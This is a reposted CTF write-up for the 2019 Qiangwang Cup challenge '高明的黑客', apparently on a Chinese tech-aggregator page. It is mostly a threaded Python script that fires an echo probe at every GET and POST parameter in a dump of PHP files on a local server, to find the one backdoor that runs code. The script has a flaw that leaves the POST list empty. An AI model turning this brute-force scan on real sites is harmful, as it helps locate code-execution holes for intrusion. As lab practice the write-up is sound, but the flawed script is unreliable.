IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 2021-8-18 [强网杯 2019]高明的黑客 知识点:python-threading 脚本编写 -> 正文阅读

[PHP知识库]2021-8-18 [强网杯 2019]高明的黑客 知识点:python-threading 脚本编写

看了大佬博客,手动打一遍(相当于复制粘贴了),-_-||
大佬博客:
强网杯 2019-高明的黑客
强网杯 2019-高明的黑客(考察代码编写能力)
short-code
温馨提示:
当在本地测试的时候,php版本需要大于等于7.0
记录结果最好保存到一个文本文件中,因为直接在控制台很难找到!!!!

import os
import re
import requests
import threading
import time
print("开始时间:"+time.asctime(time.localtime(time.time())))
s1=threading.Semaphore(100) #设置最大线程数
filepath=r"C:/Users/Lenovo/Desktop/src/" #当前资源路径
os.chdir(filepath) #改变当前资源路径
files=os.listdir(filepath)
requests.adapters.DEFAULT_RETRIES=5 #设置重连次数,防止线程数过高,断开连接
session=requests.Session()
session.keep_alive=False
def get_content(file):
    s1.acquire()
    print("trying "+file+"in "+time.asctime(time.localtime(time.time())))
    with open(file,encoding='utf-8') as f:
        gets=list(re.findall('\$_GET\[\'(.*?)\'\]',f.read()))
        posts=list(re.findall('\$_POST\[\'(.*?)\'\]',f.read()))
    data={} #所有的POST
    param={} #所有的GET
    for m in gets:
        param[m]="echo '123456';"
    for n in posts:
        data[n]="echo '123456';"
    url="http://127.0.0.1/src/"+file
    req=session.post(url,data=data,params=param)
    req.close()
    req.encoding='utf-8'
    content=req.text
    if "123456" in content:
        flag=0
        for a in gets:
            req=session.get(url+"?%s="%a+"echo '123456';")
            content=req.text
            req.close()
            if "123456" in content:
                flag=1
                break
        if flag!=1:
            for b in posts:
                req=session.post(url,data={b:"echo '123456';"})
                content=req.text
                req.close()
                if "123456" in content:
                    break
        if flag==1:
            param=a
        else:
            param=b
        print("找到了利用文件:"+file+" 和利用参数:%s"%param)
        local_file = open("flag.txt", "w", encoding="utf-8")
        local_file.write(file+param)
        print("结束时间: "+time.asctime(time.localtime(time.time())))
    s1.release()

for i in files: #加入多线程
    t=threading.Thread(target=get_content,args=(i,))
    t.start()

写的简陋了点,因为懒。在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-19 11:49:47  更:2021-08-19 11:50:25 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/15 7:40:59-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码